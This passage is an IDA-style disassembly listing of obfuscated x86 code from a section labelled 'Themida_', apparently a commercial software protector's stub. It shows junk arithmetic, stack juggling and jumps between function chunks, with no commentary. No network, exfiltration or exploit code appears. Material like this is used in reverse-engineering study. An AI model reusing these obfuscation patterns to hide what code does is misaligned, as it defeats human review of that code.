; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_5943DE:				; CODE XREF: sub_59A75E+45C6j
		sub	bx, 6AD0h
		jmp	loc_598EE2
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_5943E8:				; CODE XREF: Themida_:00599ECCj
		add	ebp, ecx
		pop	ecx
		add	ebp, 0F6E0F5DCh
		add	edx, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, 57C863E5h
		add	edx, ebx
		sub	edx, 57C863E5h
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		add	ebx, 4
		jmp	loc_599B49
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	0B8Ch
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_59C6D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59443F:				; CODE XREF: sub_59390B+B58Ej
		pop	ecx
		sub	ebx, 4
		jmp	loc_59928B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59444B:				; CODE XREF: Themida_:0059279Aj
		and	edx, eax
		pop	eax
		sub	edx, 1
		jmp	loc_5920F4
; ---------------------------------------------------------------------------


loc_594456:				; CODE XREF: Themida_:005A0145j
		mov	esp, [esp]
		imul	ecx, eax
		push	ecx
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_594463:				; CODE XREF: sub_590BDF+2j
		mov	esi, 7666704Fh
		sub	esi, 57EB4CB0h
		mov	ebx, esi
		jmp	loc_5A357F
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594475:				; CODE XREF: sub_59390B+9F03j
		mov	[esp+8+var_8], edx
		mov	edx, 32361F6Bh
		xor	edx, 55537712h
		add	edx, 0D30B9Eh
		shl	edx, 3
		neg	edx
		push	edi
		jmp	loc_594EA0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
		push	4BEDh
		mov	[esp], eax
		push	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_59A5AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599AE1


loc_5944B1:				; CODE XREF: sub_599AE1+7900j
		not	ebx
		jmp	loc_59D55E
; END OF FUNCTION CHUNK	FOR sub_599AE1
; ---------------------------------------------------------------------------


loc_5944B8:				; CODE XREF: Themida_:005981F0j
		pop	ecx
		add	ecx, 4
		jmp	loc_595E6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59822A


loc_5944C4:				; CODE XREF: sub_59822A+9600j
		pop	ebp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		push	ecx
		jmp	loc_597517
; END OF FUNCTION CHUNK	FOR sub_59822A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_595BAD


loc_5944D4:				; CODE XREF: sub_595BAD+102Aj
		mov	ebp, 61DD0E7Eh
		xor	eax, ebp
		pop	ebp
		sub	ecx, eax
		pop	eax
		push	21D3h
		mov	[esp+0], edi
		jmp	loc_59A57C
; END OF FUNCTION CHUNK	FOR sub_595BAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5944EC:				; CODE XREF: sub_59390B+686Aj
		push	34D52E64h
		pop	ebx
		add	ebx, 0DFEE4C34h
		push	eax
		mov	eax, 30940A7Bh
		jmp	loc_598C93
; ---------------------------------------------------------------------------


loc_594503:				; CODE XREF: sub_59390B+650Dj
		add	[esp+10h+var_8], edi
		mov	edi, [esp+10h+var_10]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		push	eax
		push	[esp+18h+var_14]
		pop	eax
		pop	[esp+18h+var_18]
		jmp	loc_5A4A48
; ---------------------------------------------------------------------------


loc_594523:				; CODE XREF: sub_59390B+7A39j
		add	esp, 4
		add	esp, 4
		and	eax, ebx
		pop	ebx
		shr	eax, 0Eh
		jmp	loc_599F70
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594534:				; DATA XREF: Themida_:00590994o
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebx
		jmp	loc_59E271
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_594543:				; CODE XREF: sub_59A431-830j
		add	esi, ecx
		jmp	loc_59CB89
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59454A:				; CODE XREF: sub_59390B+10484j
		pop	eax
		pop	[esp+4+var_4]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		pop	edx
		jmp	loc_59DE81
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_59455A:				; CODE XREF: sub_5950DF+30A1j
		mov	esp, [esp-4+arg_0]
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------


loc_594562:				; CODE XREF: Themida_:00591B3Dj
		add	dl, 1
		shl	dl, 1
		jmp	loc_591546
; ---------------------------------------------------------------------------


loc_59456C:				; CODE XREF: Themida_:005A0CDCj
		mov	[esp], ebx
		jmp	loc_5A4EBB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_594574:				; CODE XREF: sub_59E918+15DFj
		push	edx
		mov	dh, 0EBh
		sub	dh, 83h
		add	al, dh
		jmp	loc_59D2E8
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_594581:				; CODE XREF: Themida_:005A3706j
		pop	ecx
		jmp	loc_5A20B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594587:				; CODE XREF: sub_59390B+862j
		xor	bl, al
		movzx	eax, al
		jmp	loc_59F9C2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59886E


loc_594591:				; CODE XREF: sub_59886E+936Dj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		jmp	loc_5977F6
; END OF FUNCTION CHUNK	FOR sub_59886E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5945A2:				; CODE XREF: sub_59390B+DD05j
		add	esi, 4
		jmp	loc_5914FC
; ---------------------------------------------------------------------------


loc_5945AD:				; CODE XREF: sub_59390B+122D7j
		pop	esi
		xor	esi, 769F07AAh
		not	esi
		add	esi, 756076FFh
		jmp	loc_5A019A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_5945C1:				; CODE XREF: sub_5A51EA-10723j
		neg	bh
		shl	bh, 2
		shr	bh, 1
		sub	bh, 0D9h
		add	al, 0CFh
		sub	al, bh
		jmp	loc_5A2081
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_5945D4:				; CODE XREF: Themida_:00597D91j
		push	ecx
		jmp	loc_591A48
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F121


loc_5945DA:				; CODE XREF: sub_59F121+6j
		push	eax
		mov	eax, 7FDF2883h
		jmp	loc_594CBE
; END OF FUNCTION CHUNK	FOR sub_59F121
; ---------------------------------------------------------------------------


loc_5945E5:				; CODE XREF: Themida_:00596ABCj
		not	esi
		neg	esi
		xor	esi, 3C63E36h
		sub	ebx, esi
		jmp	loc_595A4B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_5945F6:				; CODE XREF: sub_59CFD4+3j
		mov	[esp+4+var_4], ebx
		add	[esp+4+var_4], 7EA57992h
		mov	edi, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A58C6
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_59460B:				; CODE XREF: sub_59F8C2-3AB9j
		add	ebx, esi
		jmp	loc_59DF78
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		mov	dh, 9Ch
		neg	dh
		shr	dh, 1
		push	small 70CDh
		mov	[esp], cx
		push	ebx
		mov	bl, 1Bh
		mov	ch, bl
		jmp	loc_598110
; ---------------------------------------------------------------------------


loc_59462C:				; CODE XREF: Themida_:00591F4Dj
		xor	[esp], eax
		xchg	eax, edx
		jmp	loc_597EB7
; ---------------------------------------------------------------------------


loc_594635:				; CODE XREF: Themida_:00594B01j
		mov	ebp, 6C6658E6h
		shr	ebp, 6
		shr	ebp, 7
		jmp	loc_5977B8
; ---------------------------------------------------------------------------


loc_594645:				; CODE XREF: Themida_:005A045Ej
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594653:				; CODE XREF: sub_59390B+121E7j
		sub	eax, 0F9D495F4h
		add	esi, eax
		pop	eax
		sub	ebp, 31EA1322h
		add	ebp, esi
		add	ebp, 31EA1322h
		pop	esi
		push	1741h
		mov	[esp-8+arg_0], esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5932BA
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594685:				; CODE XREF: Themida_:00596C54j
		push	esp
		pop	edx
		jmp	loc_59720B
; ---------------------------------------------------------------------------


loc_59468C:				; CODE XREF: Themida_:005A3409j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		push	esp
		jmp	loc_5982A4
; ---------------------------------------------------------------------------


loc_5946A1:				; CODE XREF: Themida_:0059EE67j
		add	esi, 4
		sub	esi, 4
		jmp	loc_5973D5
; ---------------------------------------------------------------------------


loc_5946B2:				; CODE XREF: Themida_:0059491Bj
		xor	edx, 649123C8h
		mov	ebp, [esp]
		jmp	loc_595852
; ---------------------------------------------------------------------------


loc_5946C0:				; CODE XREF: Themida_:0059F5A6j
		sub	dword ptr [esp+4], 1FF568CBh
		add	[esp+4], edx
		add	dword ptr [esp+4], 1FF568CBh
		sub	dword ptr [esp+4], 1760DE9h
		add	dword ptr [esp+4], 48906E4Ah
		pop	edx
		add	dword ptr [esp], 7E1E16E7h
		push	6C6Ch
		mov	[esp], esi
		mov	esi, 4F912CFFh
		neg	esi
		jmp	loc_59C338
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_594700:				; CODE XREF: sub_59FCCB-6F5Cj
		sub	ah, 77h
		sub	ah, 0BBh
		add	ah, 1Fh
		and	dl, ah
		pop	eax
		add	dl, 77h
		jmp	loc_5A1334
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A75E


loc_594714:				; CODE XREF: sub_59A75E+7568j
		mov	esp, [esp+0]
		jmp	loc_5A46A2
; END OF FUNCTION CHUNK	FOR sub_59A75E
; ---------------------------------------------------------------------------


loc_59471C:				; CODE XREF: Themida_:005A0405j
		dec	esi
		shr	esi, 1
		neg	esi
		push	ebp
		mov	ebp, 4A5917EAh
		neg	ebp
		shl	ebp, 1
		dec	ebp
		add	ebp, 71A767C5h
		add	ebp, 42EAE2C7h
		add	esi, ebp
		pop	ebp
		add	eax, esi
		jmp	loc_59865F
; ---------------------------------------------------------------------------


loc_594742:				; CODE XREF: Themida_:005954E3j
		add	edi, edx
		sub	edi, 2C4A654Ch
		jmp	loc_5A5406
; ---------------------------------------------------------------------------


loc_59474F:				; CODE XREF: Themida_:0059EAD5j
		mov	edi, 4
		add	eax, edi
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_595343
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594766:				; CODE XREF: sub_59390B-14BDj
		add	ebx, 5B4847D8h
		movzx	ax, byte ptr [eax]
		push	428Ah
		mov	[esp-1Ah+arg_10+2], ebp
		push	6A33h
		mov	[esp-16h+arg_C+2], esp
		push	edi
		mov	edi, 4
		add	[esp-12h+arg_C+2], edi
		pop	edi
		mov	ebp, [esp-16h+arg_C+2]
		add	esp, 4
		push	4F01h
		mov	[esp-16h+arg_C+2], ebx
		push	edi
		mov	edi, 4
		mov	ebx, edi
		pop	edi
		add	ebp, 0CB37EA6h
		add	ebp, ebx
		sub	ebp, 0CB37EA6h
		mov	ebx, [esp-16h+arg_C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp-16h+arg_C+2], esi
		push	edi
		mov	edi, 7778115Bh
		jmp	loc_599617
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_5947CA	proc near		; CODE XREF: sub_59390B+E260j

var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005914D6 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0059F395 SIZE 00000020 BYTES

		push	ebp
		mov	ebp, 6F973F6Ch
		add	ebp, 16E019D5h
		sub	ebp, 84F14A76h
		xor	eax, ebp
		pop	ebp
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		jmp	loc_59F395
sub_5947CA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_5947EA:				; CODE XREF: sub_5964B7+1A79j
		xor	ebp, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+0], ax
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5947F9:				; CODE XREF: sub_59390B-27F5j
		push	esi
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		push	esp
		jmp	loc_5A564E
; ---------------------------------------------------------------------------


loc_594809:				; CODE XREF: sub_59390B+632Bj
		push	ecx
		mov	ecx, 4
		mov	esi, ecx
		jmp	loc_592906
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5933BB


loc_594816:				; CODE XREF: sub_5933BB+5BD5j
		mov	edx, 4A3A762Eh
		mov	eax, edx
		pop	edx
		jmp	loc_5A51F4
; END OF FUNCTION CHUNK	FOR sub_5933BB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594823:				; CODE XREF: sub_59390B+11C31j
		sub	ebp, 81A5D50h
		add	ebp, ebx
		add	ebp, 81A5D50h
		add	ebp, 2ECB123Ch
		pop	ebx
		push	edx
		mov	edx, 4
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp+14h+var_14]
		jmp	loc_59BC94
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594849:				; CODE XREF: Themida_:0059B9D8j
		xor	esi, [esp]
		pop	esp
		mov	[esp], esi
		push	2ADDh
		mov	[esp], edi
		push	39EB054Dh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	4DD5h
		mov	[esp], ebp
		push	321Ch
		mov	[esp], ebx
		jmp	loc_5961FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594879:				; CODE XREF: sub_59390B+921Cj
		push	edi
		mov	edi, 69A90DCDh
		shr	edi, 1
		sub	edi, 772F052Fh
		add	edi, 65D05E5Ah
		xor	edi, 0A64FF36h
		sub	ecx, edi
		pop	edi
		pop	edi
		add	edi, ecx
		pop	ecx
		pop	ebx
		xchg	edi, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		sub	esp, 4
		mov	[esp+0Ch+var_C], edi
		mov	edi, esp
		jmp	loc_59AC61
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5948B1:				; CODE XREF: Themida_:005A3022j
		sub	esi, edx
		push	ebx
		mov	ebx, 375F06A3h
		add	esi, ebx
		pop	ebx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5A491A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5948CB:				; CODE XREF: sub_59390B+FEE8j
		neg	ecx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp+10h+var_10]
		pop	esp
		mov	[esp+0Ch+var_C], eax
		mov	eax, 71AB7BEEh
		neg	eax
		add	eax, 1711EE2h
		sub	eax, 21472459h
		xor	eax, 0D28F972Dh
		sub	ecx, eax
		pop	eax
		mov	edi, ecx
		jmp	loc_5A267F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_594903:				; CODE XREF: sub_5964B7+C8C1j
		add	ebp, 4
		push	ebx
		mov	ebx, 60802BABh
		jmp	loc_597F18
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------


loc_594914:				; CODE XREF: Themida_:0059D0E4j
		pop	esi
		xor	[esp+4], eax
		pop	eax
		pop	edx
		jmp	loc_5946B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F8C2


loc_594920:				; CODE XREF: sub_59F8C2-1E21j
		mov	[esp+0], eax
		mov	eax, 1
		and	ecx, eax
		jmp	loc_5A5A94
; END OF FUNCTION CHUNK	FOR sub_59F8C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AB43


loc_59492F:				; CODE XREF: sub_59AB43+201Ej
		xor	eax, 213FFF6Ah
		add	edi, eax
		pop	eax
		xchg	edi, [esp-0Ch+arg_8]
		pop	esp
		or	eax, eax
		jnz	loc_5A15E6
		sub	esp, 4
		mov	[esp-0Ch+arg_8], eax
		mov	eax, 55F61284h
		mov	edx, 210F384Fh
		xor	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp-0Ch+arg_8], edi
		mov	edi, 4CF13745h
		xchg	esi, edi
		dec	esi
		xchg	esi, edi
		sub	edi, 0B76C301h
		jmp	loc_597595
; ---------------------------------------------------------------------------


loc_594971:				; CODE XREF: sub_59AB43-35A9j
		add	esp, 4
		jmp	loc_590AD4
; END OF FUNCTION CHUNK	FOR sub_59AB43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591D35


loc_59497C:				; CODE XREF: sub_591D35+13j
		push	eax
		mov	eax, 4
		jmp	sub_59731A
; END OF FUNCTION CHUNK	FOR sub_591D35
; ---------------------------------------------------------------------------


loc_594987:				; CODE XREF: Themida_:005A33C0j
		mov	ecx, 4
		add	[esp+4], ecx
		pop	ecx
		pop	edx
		add	edx, 4
		push	2316h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_59B86B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5949AA:				; CODE XREF: sub_5932F7+11232j
		inc	ebx
		jmp	loc_5A3DF1
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------


loc_5949B0:				; CODE XREF: Themida_:0059DE1Ej
		shl	dword ptr [esp], cl
		jmp	loc_595C30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A431


loc_5949B8:				; CODE XREF: sub_59A431+6949j
		pop	ebx
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_590E43
; END OF FUNCTION CHUNK	FOR sub_59A431
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5949C2:				; CODE XREF: sub_59390B+E549j
		pop	ebp
		push	ebx
		jmp	loc_5A552D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3536


loc_5949C9:				; CODE XREF: sub_5A3536-A4FFj
		mov	ebx, 2EDA37B7h
		push	0F15h
		mov	[esp+0Ch+var_C], edi
		mov	edi, 1F437523h
		and	edi, 135B18E6h
		sub	edi, 0BE00C75h
		dec	edi
		push	6F29h
		mov	[esp+10h+var_10], ebp
		mov	ebp, 321B0A0Bh
		sub	ebp, 19E25125h
		add	ebp, 47081745h
		jmp	loc_595B3E
; END OF FUNCTION CHUNK	FOR sub_5A3536
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964B7


loc_594A06:				; CODE XREF: sub_5964B7+1A87j
		sub	[esp+10h+var_8], eax
		sub	[esp+10h+var_8], 5E6C39B5h
		pop	eax
		mov	esi, [esp+0Ch+var_C]
		push	ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 4
		add	ebx, esi
		jmp	loc_592D5F
; END OF FUNCTION CHUNK	FOR sub_5964B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594A26:				; CODE XREF: sub_59390B-9E1j
		add	edi, ecx
		pop	ecx
		push	edi
		push	[esp-14h+arg_10]
		pop	edi
		pop	[esp-14h+arg_C]
		pop	esp
		push	edx
		push	6F6Bh
		mov	[esp-14h+arg_C], eax
		mov	eax, 312615ABh
		push	edi
		mov	edi, 2B1195h
		jmp	loc_594C9B
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F6E


loc_594A4C:				; CODE XREF: sub_5A3F6E-79Cj
		pop	edi
		push	36Fh
		mov	[esp+0], ecx
		push	[esp+arg_0]
		pop	ecx
		jmp	loc_5A574A
; END OF FUNCTION CHUNK	FOR sub_5A3F6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591FE1


loc_594A5F:				; CODE XREF: sub_591FE1+2FDCj
		add	ebp, 4
		xchg	ebp, [esp+8+var_8]
		jmp	loc_5936DF
; END OF FUNCTION CHUNK	FOR sub_591FE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59333E


loc_594A6A:				; CODE XREF: sub_59333E+B234j
		mov	edx, 5BCC0A8Eh
		or	edx, 3E8217Fh
		or	edx, 14A844AFh
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		mov	eax, 7BD15976h
		not	eax
		jmp	loc_5921D5
; END OF FUNCTION CHUNK	FOR sub_59333E

; =============== S U B	R O U T	I N E =======================================



sub_594A8D	proc near		; CODE XREF: sub_59390B+2DFj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00591367 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00591854 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00591BEC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00592A61 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00595283 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005978DC SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00597E88 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00599651 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00599877 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059A3DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059A757 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059B2CB SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059B641 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059C78D SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059D1BE SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005A0E7A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A32D5 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A3758 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005A3D33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4182 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A5373 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A5792 SIZE 00000039 BYTES
; FUNCTION CHUNK AT 005A596B SIZE 0000002A BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 74405774h
		xor	ebx, 4124273Bh
		jmp	loc_595283
sub_594A8D	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0060


loc_594AA6:				; CODE XREF: sub_5A0060-12FBj
		mov	[esp+0], ebx
		mov	ebx, 46B557A6h
		add	edx, ebx
		pop	ebx
		jmp	loc_5A58A4
; END OF FUNCTION CHUNK	FOR sub_5A0060
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FCCB


loc_594AB6:				; CODE XREF: sub_59FCCB+F6Fj
		mov	cl, 0BAh
		jmp	loc_59CD91
; END OF FUNCTION CHUNK	FOR sub_59FCCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A51EA


loc_594ABD:				; CODE XREF: sub_5A51EA-3A30j
		add	al, 37h
		add	al, cl
		push	ebx
		mov	bh, 0C1h
		xor	bh, 0B9h
		jmp	loc_5945C1
; END OF FUNCTION CHUNK	FOR sub_5A51EA
; ---------------------------------------------------------------------------


loc_594ACC:				; CODE XREF: Themida_:0059F8B5j
		mov	esi, 3BD437B0h
		add	[esp+8], esi
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], ecx
		push	edx
		jmp	loc_596E15
; ---------------------------------------------------------------------------


loc_594AE5:				; CODE XREF: Themida_:005A0351j
		add	ecx, 4
		push	ebx
		mov	ebx, 7C0A114Bh
		sub	ebx, 5896h
		push	0
		sub	[esp], ebx
		pop	ebx
		push	ebp
		jmp	loc_594635
; ---------------------------------------------------------------------------


loc_594B06:				; CODE XREF: Themida_:005918F6j
		push	edx
		jmp	loc_59D610
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59E918


loc_594B0C:				; CODE XREF: sub_59E918-1245j
		sub	dl, 6Eh
		sub	dl, 4Ah
		dec	dl
		jmp	loc_5A2606
; END OF FUNCTION CHUNK	FOR sub_59E918
; ---------------------------------------------------------------------------


loc_594B19:				; CODE XREF: Themida_:0059A89Fj
		add	esp, 4
		push	edi
		push	4E5D3678h
		jmp	loc_59D243
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A905


loc_594B27:				; CODE XREF: sub_59A905+3CEBj
		sub	edi, 483B334Ah
		add	edi, ecx
		add	edi, 483B334Ah
		pop	ecx
		jmp	loc_59AD9A
; END OF FUNCTION CHUNK	FOR sub_59A905
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		jmp	loc_594C1B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5995FC


loc_594B44:				; CODE XREF: sub_5995FC+B188j
		push	edx
		jmp	loc_59D53C
; END OF FUNCTION CHUNK	FOR sub_5995FC
; ---------------------------------------------------------------------------


loc_594B4A:				; CODE XREF: Themida_:005A5BA2j
		mov	ebx, [esp]
		jmp	loc_5A18C5
; ---------------------------------------------------------------------------


loc_594B52:				; CODE XREF: Themida_:005A350Aj
		mov	ebx, [esp]
		add	esp, 4
		shl	edi, 3
		shl	edi, 5
		and	edi, 102F26D0h
		and	edi, 144B4852h
		push	ecx
		push	ebx
		push	20B526A9h
		pop	ebx
		jmp	loc_5961BE
; ---------------------------------------------------------------------------


loc_594B7A:				; CODE XREF: Themida_:0059306Bj
		pop	esi
		sub	ebp, 4
		jmp	loc_59C74A
; ---------------------------------------------------------------------------


loc_594B83:				; CODE XREF: Themida_:0059FF39j
		inc	esi
		add	esi, 171350C4h
		xor	esi, 7C4C5FF7h
		jmp	loc_5A54B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594B95:				; CODE XREF: sub_59390B+978Bj
		xor	[esp-10h+arg_8], ecx
		xor	ecx, [esp-10h+arg_8]
		jmp	loc_5936C2
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594BA0:				; CODE XREF: Themida_:0059999Fj
		or	eax, 4AC40A32h
		jmp	loc_59A2ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_594BAA:				; CODE XREF: sub_59390B+F8ABj
		mov	[esp-10h+arg_8], edi
		mov	edi, 5D77458Ch
		shl	edi, 7
		sub	edi, 0A10BDEA5h
		add	edx, edi
		pop	edi
		mov	edi, edx
		pop	edx
		inc	edi
		and	edi, 1BB06F24h
		jmp	loc_59114F
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_594BCD:				; CODE XREF: Themida_:0059815Ej
		add	esp, 4
		jmp	loc_59BC73
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_591988
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CFD4


loc_594BE0:				; CODE XREF: sub_59CFD4+8881j
		and	edx, 0C505657h
		add	edx, 3B122C9Bh
		jmp	loc_5969B6
; END OF FUNCTION CHUNK	FOR sub_59CFD4
; ---------------------------------------------------------------------------


loc_594BF1:				; CODE XREF: Themida_:00597FD0j
		add	edx, 713F4745h
		add	edi, 58F05456h
		sub	edi, edx
		sub	edi, 58F05456h
		jmp	loc_592F12
; ---------------------------------------------------------------------------
